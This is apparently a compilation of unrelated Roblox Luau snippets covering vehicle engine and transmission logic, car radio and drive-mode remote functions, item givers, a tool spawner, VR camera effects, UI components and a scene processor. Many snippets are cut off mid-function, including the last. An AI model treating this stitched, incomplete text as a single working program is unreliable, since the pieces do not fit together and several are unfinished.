game.Players.PlayerRemoving:Connect(function(plr)
Network:unassign_id(plr)
end)
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 300 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 3000 -- Use sliders to manipulate values
Tune.Redline = 3700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 3200
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--F.updateSound = function(Sound, Pitch, Volume)
-- if Sound then
-- if Pitch then
-- Sound.Pitch = Pitch
-- end
-- if Volume then
-- Sound.Volume = Volume
-- end
-- end
--end
|
F.updateWindows = function(Window, Toggle)
if script.Parent.Parent.Windows:findFirstChild(Window) then
script.Parent.Parent.Windows:findFirstChild(Window).Value = Toggle
end
end
F.volumedown = function(VolDown)
carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume - 1
end
F.volumeup = function(VolUp)
carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + 1
end
F.fm = function(ok)
carSeat.Parent.Body.MP.Sound:Stop()
carSeat.Stations.mood.Value = ok
end
F.updateSong = function(id)
carSeat.Stations.mood.Value = 5
carSeat.Parent.Body.MP.Sound:Stop()
wait()
carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..id
wait()
carSeat.Parent.Body.MP.Sound:Play()
end
F.pauseSong = function()
carSeat.Stations.mood.Value = 5
carSeat.Parent.Body.MP.Sound:Stop()
end
F.updateVolume = function(Vol)
carSeat.Parent.Body.MP.Sound.Volume = carSeat.Parent.Body.MP.Sound.Volume + Vol/5
end
F.updateValue = function(Val, Value)
if Val then
Val.Value = Value
end
end
F.Eco = function()
carSeat.Mode.Value = "Eco"
carSeat.Parent.Wheels.FL.Spring.FreeLength = 2.2
carSeat.Parent.Wheels.FR.Spring.FreeLength = 2.2
carSeat.Parent.Wheels.RL.Spring.FreeLength = 2.2
carSeat.Parent.Wheels.RR.Spring.FreeLength = 2.2
carSeat.EcoIdle.Value = 0
end
F.Comfort = function()
carSeat.Mode.Value = "Comfort"
carSeat.Parent.Wheels.FL.Spring.FreeLength = 2.2
carSeat.Parent.Wheels.FR.Spring.FreeLength = 2.2
carSeat.Parent.Wheels.RL.Spring.FreeLength = 2.2
carSeat.Parent.Wheels.RR.Spring.FreeLength = 2.2
carSeat.EcoIdle.Value = 1
end
F.Sport = function()
carSeat.Mode.Value = "Sport"
carSeat.Parent.Wheels.FL.Spring.FreeLength = 2.1
carSeat.Parent.Wheels.FR.Spring.FreeLength = 2.1
carSeat.Parent.Wheels.RL.Spring.FreeLength = 2.1
carSeat.Parent.Wheels.RR.Spring.FreeLength = 2.1
carSeat.EcoIdle.Value = 1
end
F.MirrorsFOLD = function()
car.Misc.FL.Mirror.SS.Motor.DesiredAngle = 0.9
car.Misc.FR.Mirror.SS.Motor.DesiredAngle = 0.9
end
F.MirrorsUNFOLD = function()
car.Misc.FL.Mirror.SS.Motor.DesiredAngle = 0
car.Misc.FR.Mirror.SS.Motor.DesiredAngle = 0
end
script.Parent.OnServerEvent:connect(function(Player, Func, ...)
if F[Func] then
F[Func](...)
end
end)
|
-- ROBLOX deviation START: not supporting windows path separator
-- local slash = require(Packages.slash)
|
local slash = function(path_: string): string
return path_:gsub("\\", "/")
end
|
-- (Hat Giver Script - Loaded.)
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Nightvision"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(1,1,2)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentForward = Vector3.new(-0, -0, -1)
h.AttachmentPos = Vector3.new(0, 0.23, 0.35)
h.AttachmentRight = Vector3.new(1, 0, 0)
h.AttachmentUp = Vector3.new(0, 1, 0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--[=[
Bounces the current named script to the expected version of this module
@private
@class BounceTemplate
]=]
|
local function waitForValue(objectValue)
local value = objectValue.Value
if value then
return value
end
return objectValue.Changed:Wait()
end
return require(waitForValue(script:WaitForChild("BounceTarget")))
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
--Horsepower Curve
local fgc_h=_Tune.Horsepower/100
local fgc_n=_Tune.PeakRPM/1000
local fgc_a=_Tune.PeakSharpness
local fgc_c=_Tune.CurveMult
function FGC(x)
x=x/1000
return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))
end
local PeakFGC = FGC(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)
return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling
end
--Output Cache
local CacheTorque = true
local HPCache = {}
local HPInc = 100
if CacheTorque then
for gear,ratio in pairs(_Tune.Ratios) do
local hpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do
local tqPlot = {}
tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2)
hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2)
tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000)
tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000)
hpPlot[rpm] = tqPlot
end
table.insert(HPCache,hpPlot)
end
end
--Powertrain
--Update RPM
function RPM()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
end
--Apply Power
function Engine()
--Get Torque
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
if CacheTorque then
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)]
_HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
_OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
else
_HP,_OutTorque = GetCurve(_RPM,_CGear)
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
else
_HP,_OutTorque = 0,0
end
--Automatic Transmission
if _TMode == "Auto" and _IsOn then
_ClutchOn = true
if _CGear == 0 then _CGear = 1 end
if _CGear >= 1 then
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 0 then
_CGear = -1
else
if _Tune.AutoShiftMode == "RPM" then
if DM.Value == "Sport" or DM.Value == "SportPlus" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
elseif DM.Value == "Comfort" then
if _RPM>(ComfShift+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(ComfShift-_Tune.AutoDownThresh) then
end
end
else
if DM.Value == "Sport" or DM.Value == "SportPlus" then
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
elseif DM.Value == "Comfort" then
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(ComfShift+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(ComfShift-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
end
end
end
else
if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 0 then
_CGear = 1
end
end
end
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local throt = _GThrot
if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end
--Apply TCS
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
--Camera bobbing
-- Shakes the camera when the player is walking
|
local runService = game:GetService("RunService")
local character = script.Parent
local humanoid = character:WaitForChild("Humanoid")
function updateBobbleEffect()
local currentTime = tick()
if humanoid.MoveDirection.Magnitude > 0 then
local bobbleX = math.cos(currentTime * 10) * .25
local bobbleY = math.abs(math.sin(currentTime * 10)) * .25
local bobble = Vector3.new(bobbleX, bobbleY, 0)
humanoid.CameraOffset = humanoid.CameraOffset:lerp(bobble, .25)
else
humanoid.CameraOffset = humanoid.CameraOffset * .75
end
end
runService.RenderStepped:Connect(updateBobbleEffect)
|
--[[
The symbol used to denote the children of an instance when working with the
`New` function.
]]
|
return {
type = "Symbol",
name = "Children"
}
|
---------------------------
--[[
--Main anchor point is the DriveSeat <car.DriveSeat>
Usage:
MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only
ModelWeld(Model,MainPart)
Example:
MakeWeld(car.DriveSeat,misc.PassengerSeat)
MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here
|
MakeWeld(car.DriveSeat,misc:WaitForChild('Aero'))
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
MakeWeld(car.Misc.Wheel.W,car.DriveSeat,"Motor").Name="W"
ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.W)
|
--[=[
Transforms the brio into an observable that emits the initial value of the brio, and then another value on death
@param brio Brio<T> | T
@param emitOnDeathValue U
@return Observable<T | U>
]=]
|
function RxBrioUtils.toEmitOnDeathObservable(brio, emitOnDeathValue)
if not Brio.isBrio(brio) then
return Rx.of(brio)
else
return Observable.new(function(sub)
if brio:IsDead() then
sub:Fire(emitOnDeathValue)
sub:Complete()
else
sub:Fire(brio:GetValue())
return brio:GetDiedSignal():Connect(function()
sub:Fire(emitOnDeathValue)
sub:Complete()
end)
end
end)
end
end
|
--This will help reduce lag by removing the train upon a server starting. Less trains lyin' around, less lag
|
wait(1)
script.Parent.Cart:Destroy()
wait(1)
script:Destroy()
|
-- вертикальный вектор
|
function module.lookAtY(target, eye)
local forwardVector = (eye - target)
local upVector = Vector3.new(0, 1, 0)
-- You have to remember the right hand rule or google search to get this right
local rightVector = forwardVector:Cross(upVector)
local upVector2 = rightVector:Cross(forwardVector)
return CFrame.fromMatrix(eye, -rightVector, upVector2) -- upVector2 - для вертикали
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
local Rocket = Instance.new("Part")
Rocket.Locked = true
Rocket.Size = Vector3.new(1,1,1)
Rocket.Shape = Enum.PartType.Ball
Rocket.Color = Color3.fromRGB(0,0,0)
Rocket.CanCollide=false
|
-- скрипт для установки фильтра
|
me = script.Parent
local function onButtonActivated()
-- выделение
me.BackgroundTransparency=0.6
plr.Odeto.GUID.Value = item.Name
end
me.Activated:Connect(onButtonActivated)
|
--[[
Gets the Context object for the current node.
]]
|
function TestSession:getContext()
assert(#self.contextStack > 0, "Tried to get context from an empty stack!")
return self.contextStack[#self.contextStack]
end
function TestSession:getExpectationContext()
assert(#self.expectationContextStack > 0, "Tried to get expectationContext from an empty stack!")
return self.expectationContextStack[#self.expectationContextStack]
end
|
-- If using VR
|
if UserInputService.VREnabled and VRUseHeadsetControls.Value == true then
VRService.UserCFrameChanged:connect(function(CFrametype,VRSpot)
local x,y = VRSpot:toEulerAnglesXYZ()
local Sensitivity = 1.2
if CFrametype == Enum.UserCFrame.Head then
-- Direction
if -x*Sensitivity > -1 and -x*Sensitivity < 1 then -- Makes sure the headset isn't tilted too much
Direction = -x*Sensitivity
elseif -x*Sensitivity > 0 then -- Otherwise we'll go to the max speed
Direction = 1
elseif -x*Sensitivity < 0 then -- Otherwise we'll go to the max speed
Direction = -1
end
-- Steering
if -y > -1 and -y < 1 then -- Makes sure the headset isn't tilted too much
Steer = -y
elseif -y > 0 then -- Otherwise we'll go to the max speed
Steer = 1
elseif -y < 0 then -- Otherwise we'll go to the max speed
Steer = -1
end
end
end)
end
|
-- (VR) Screen effects --------------
|
function VRBaseCamera:StartFadeFromBlack()
if UserGameSettings.VignetteEnabled == false then
return
end
local VRFade = Lighting:FindFirstChild("VRFade")
if not VRFade then
VRFade = Instance.new("ColorCorrectionEffect")
VRFade.Name = "VRFade"
VRFade.Parent = Lighting
end
VRFade.Brightness = -1
self.VRFadeResetTimer = 0.1
end
function VRBaseCamera:UpdateFadeFromBlack(timeDelta: number)
local VRFade = Lighting:FindFirstChild("VRFade")
if self.VRFadeResetTimer > 0 then
self.VRFadeResetTimer = math.max(self.VRFadeResetTimer - timeDelta, 0)
local VRFade = Lighting:FindFirstChild("VRFade")
if VRFade and VRFade.Brightness < 0 then
VRFade.Brightness = math.min(VRFade.Brightness + timeDelta * VR_FADE_SPEED, 0)
end
else
if VRFade then -- sanity check, VRFade off
VRFade.Brightness = 0
end
end
end
function VRBaseCamera:StartVREdgeBlur(player)
if UserGameSettings.VignetteEnabled == false then
return
end
local blurPart = nil
blurPart = (workspace.CurrentCamera :: Camera):FindFirstChild("VRBlurPart")
if not blurPart then
local basePartSize = Vector3.new(0.44,0.47,1)
blurPart = Instance.new("Part")
blurPart.Name = "VRBlurPart"
blurPart.Parent = workspace.CurrentCamera
blurPart.CanTouch = false
blurPart.CanCollide = false
blurPart.CanQuery = false
blurPart.Anchored = true
blurPart.Size = basePartSize
blurPart.Transparency = 1
blurPart.CastShadow = false
RunService.RenderStepped:Connect(function(step)
local userHeadCF = VRService:GetUserCFrame(Enum.UserCFrame.Head)
local vrCF = (workspace.CurrentCamera :: Camera).CFrame * (CFrame.new(userHeadCF.p * (workspace.CurrentCamera :: Camera).HeadScale) * (userHeadCF - userHeadCF.p))
blurPart.CFrame = (vrCF * CFrame.Angles(0, math.rad(180), 0)) + vrCF.LookVector * (1.05 * (workspace.CurrentCamera :: Camera).HeadScale)
blurPart.Size = basePartSize * (workspace.CurrentCamera :: Camera).HeadScale
end)
end
local VRScreen = player.PlayerGui:FindFirstChild("VRBlurScreen")
local VRBlur = nil
if VRScreen then
VRBlur = VRScreen:FindFirstChild("VRBlur")
end
if not VRBlur then
if not VRScreen then
VRScreen = Instance.new("SurfaceGui") or Instance.new("ScreenGui")
end
VRScreen.Name = "VRBlurScreen"
VRScreen.Parent = player.PlayerGui
VRScreen.Adornee = blurPart
VRBlur = Instance.new("ImageLabel")
VRBlur.Name = "VRBlur"
VRBlur.Parent = VRScreen
VRBlur.Image = "rbxasset://textures/ui/VR/edgeBlur.png"
VRBlur.AnchorPoint = Vector2.new(0.5, 0.5)
VRBlur.Position = UDim2.new(0.5, 0, 0.5, 0)
-- this computes the ratio between the GUI 3D panel and the VR viewport
-- adding 15% overshoot for edges on 2 screen headsets
local ratioX = (workspace.CurrentCamera :: Camera).ViewportSize.X * 2.3 / VR_PANEL_SIZE
local ratioY = (workspace.CurrentCamera :: Camera).ViewportSize.Y * 2.3 / VR_PANEL_SIZE
VRBlur.Size = UDim2.fromScale(ratioX, ratioY)
VRBlur.BackgroundTransparency = 1
VRBlur.Active = true
VRBlur.ScaleType = Enum.ScaleType.Stretch
end
VRBlur.Visible = true
VRBlur.ImageTransparency = 0
self.VREdgeBlurTimer = VR_SCREEN_EGDE_BLEND_TIME
end
function VRBaseCamera:UpdateEdgeBlur(player, timeDelta)
local VRScreen = player.PlayerGui:FindFirstChild("VRBlurScreen")
local VRBlur = nil
if VRScreen then
VRBlur = VRScreen:FindFirstChild("VRBlur")
end
if VRBlur then
if self.VREdgeBlurTimer > 0 then
self.VREdgeBlurTimer = self.VREdgeBlurTimer - timeDelta
local VRScreen = player.PlayerGui:FindFirstChild("VRBlurScreen")
if VRScreen then
local VRBlur = VRScreen:FindFirstChild("VRBlur")
if VRBlur then
VRBlur.ImageTransparency = 1.0 - math.clamp(self.VREdgeBlurTimer, 0.01,
VR_SCREEN_EGDE_BLEND_TIME) * (1/VR_SCREEN_EGDE_BLEND_TIME)
end
end
else
VRBlur.Visible = false
end
end
end
function VRBaseCamera:GetCameraHeight()
if not self.inFirstPerson then
return math.sin(VR_ANGLE) * self.currentSubjectDistance
end
return 0
end
function VRBaseCamera:GetSubjectCFrame(): CFrame
local result = BaseCamera.GetSubjectCFrame(self)
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if not cameraSubject then
return result
end
-- new VR system overrides
if cameraSubject:IsA("Humanoid") then
local humanoid = cameraSubject
local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead
if humanoidIsDead and humanoid == self.lastSubject then
result = self.lastSubjectCFrame
end
end
if result then
self.lastSubjectCFrame = result
end
return result
end
function VRBaseCamera:GetSubjectPosition(): Vector3?
local result = BaseCamera.GetSubjectPosition(self)
-- new VR system overrides
local camera = game.Workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA("Humanoid") then
local humanoid = cameraSubject
local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead
if humanoidIsDead and humanoid == self.lastSubject then
result = self.lastSubjectPosition
end
elseif cameraSubject:IsA("VehicleSeat") then
local offset = VR_SEAT_OFFSET
result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset)
end
else
return nil
end
self.lastSubjectPosition = result
return result
end
|
--MAIN
|
Proximity.Triggered:Connect(function()
if debounce == false then
debounce = true
gui.Visible = true
wait(4)
gui.Visible = false
wait(10)
debounce = false
end
end)
|
-- Create component
|
local Component = Cheer.CreateComponent('BTDropdown', View);
function Component.Start(Options, CurrentOption, Callback)
-- Toggle options when clicked
Cheer.Bind(View, Component.Toggle);
-- Draw the component with the given options
Component.Draw(Options, CurrentOption, Callback);
-- Return component for chaining
return Component;
end;
function Component.Toggle()
-- Toggles the visibility of the dropdown options
-- Show each option button open or closed
local Buttons = View.Options:GetChildren();
for _, Button in pairs(Buttons) do
Button.Visible = not Button.Visible;
end;
end;
function Component.SetOption(Option)
-- Draws the current option into the dropdown
-- Set the label
View.CurrentOption.Text = Option:upper();
end;
function Component.Draw(Options, CurrentOption, Callback)
-- Draws the dropdown with the given data
-- Clear existing buttons
View.Options:ClearAllChildren();
-- Create a button for each option
for Index, Option in ipairs(Options) do
-- Create the button
local Button = View.OptionButton:Clone();
Button.Parent = View.Options;
Button.OptionLabel.Text = Option:upper();
Button.MouseButton1Click:Connect(function ()
Callback(Option);
Component.SetOption(Option);
Component.Toggle();
end);
-- Position the button
Button.Position = UDim2.new(
math.ceil(Index / 9) - 1, Button.Position.X.Offset + (math.ceil(Index / 9) * -1) + 1,
(Index % 9 == 0 and 9 or Index % 9) * Button.Size.Y.Scale, Button.Position.Y.Offset
);
end;
-- Show the view
View.Visible = true;
end;
return Component;
|
--[[Read line 24 of the script. Just edit the word "D4Tide" to whatever the gun name you want. The gun must be in the lighting for this to work. I'd reccomend you add a regen.]]
|
local debounce = false
function getPlayer(humanoid)
local players = game.Players:children()
for i = 1, #players do
if players[i].Character.Humanoid == humanoid then return players[i] end
end
return nil
end
function onTouch(part)
local human = part.Parent:findFirstChild("Humanoid")
if (human ~= nil) and debounce == false then
debounce = true
local player = getPlayer(human)
if (player == nil) then return end
game.Lighting.Rifle:clone().Parent = player.Backpack
wait(5)
debounce = false
end
end
script.Parent.Touched:connect(onTouch)
|
-- See if I have a tool
|
local spawner = script.Parent
local tool = script.Parent.Pizza
local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2),
Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2))
local parts = game.Workspace:FindPartsInRegion3(region)
for _, part in pairs(parts) do
if part and part.Parent and part.Parent:IsA("Tool") then
tool = part.Parent
break
end
end
local configTable = spawner.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("SpawnCooldown", 5)
if tool then
tool.Parent = game.ServerStorage
while true do
-- put tool on pad
local toolCopy = tool:Clone()
local handle = toolCopy:FindFirstChild("Handle")
toolCopy.Parent = game.Workspace
local toolOnPad = true
local parentConnection
parentConnection = toolCopy.AncestryChanged:connect(function()
if handle then handle.Anchored = false end
toolOnPad = false
parentConnection:disconnect()
end)
if handle then
handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
handle.Anchored = true
end
-- wait for tool to be removed
while toolOnPad do
if handle then
handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
end
wait()
end
-- wait for cooldown
wait(configs["SpawnCooldown"])
end
end
|
-- Generates a heartbeat connection for every audio visual / tween in the given schema file
|
function SchemaProcessor:Process()
print("Processing")
local success, err = pcall(function()
self.schema:Run()
-- this call only caches properties the first time, subsequent calls will not overwrite
-- TODO: these are called every time seek is called, which they only need to be called 1x per scene
self.schema:cacheInitialTweenProperties()
self.schema:resetTweenObjects()
self.schema.OrderedConfigs = self.schema:orderConfigs()
self.connection = self.RunService.Heartbeat:Connect(function()
for _, data in pairs(self.schema.OrderedConfigs) do
local config = data.config
local startTime = data.startTime
if self.timePosition.Value >= startTime and config.Processed[startTime] == false then
config.Processed[startTime] = true
coroutine.wrap(function()
config:Process(self, startTime)
end)()
end
end
end)
self.Maid:add(self.connection)
self.Maid:add(self.schema.Maid, "clean")
end)
if not success then
warn("Run errored for your scene!")
warn(err)
end
return success, err
end
function SchemaProcessor:EndScene()
print("End of scene. Running OnEndScene for Schema")
local success, err = pcall(function()
self.schema:EndScene()
end)
if not success then
warn("EndScene errored for your scene!")
warn(err)
end
return success, err
end
function SchemaProcessor.new(schema, timePosition)
-- TODO: validate schema file: validateSchemaFile()
assert(schema ~= nil, "You haven't subscribed a schema file for the Schema Processor!")
assert(timePosition ~= nil, "You haven't subscribed a time position for the Schema Processor!")
local self = {
Maid = Maid.new(),
schema = schema,
timePosition = timePosition,
processingPool = {},
}
setmetatable(self, SchemaProcessor)
self.Maid:add(self.schema.Maid, "clean")
